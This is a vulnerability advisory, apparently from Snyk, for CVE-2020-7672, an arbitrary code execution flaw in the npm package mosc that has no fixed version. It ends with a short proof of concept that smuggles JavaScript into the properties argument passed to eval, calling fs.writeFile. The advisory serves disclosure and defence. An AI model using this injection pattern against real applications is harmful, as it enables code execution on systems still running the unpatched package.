Arbitrary Code Execution Affecting mosc package, versions *
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.64% (88th
percentile)
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Test your applications- Snyk ID SNYK-JS-MOSC-571492
- published 5 Jun 2020
- disclosed 5 Jun 2020
- credit JHU System Security Lab
Introduced: 5 Jun 2020
CVE-2020-7672 Open this link in a new tabHow to fix?
There is no fixed version for mosc.
Overview
mosc is an a simple inline object model builder for NodeJS (A small port exists for client-side javascript).
Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to properties argument is executed by the eval function, resulting in code execution.
PoC
var A = require("mosc");
var a = new A({});
var key = "";
var attack_code = "fs=require('fs');fs.writeFile('Song');"
var properties = "{a:*1*; " + attack_code + " //*}"
var base ="";
var a = a.parse_properties(key,properties,{},{})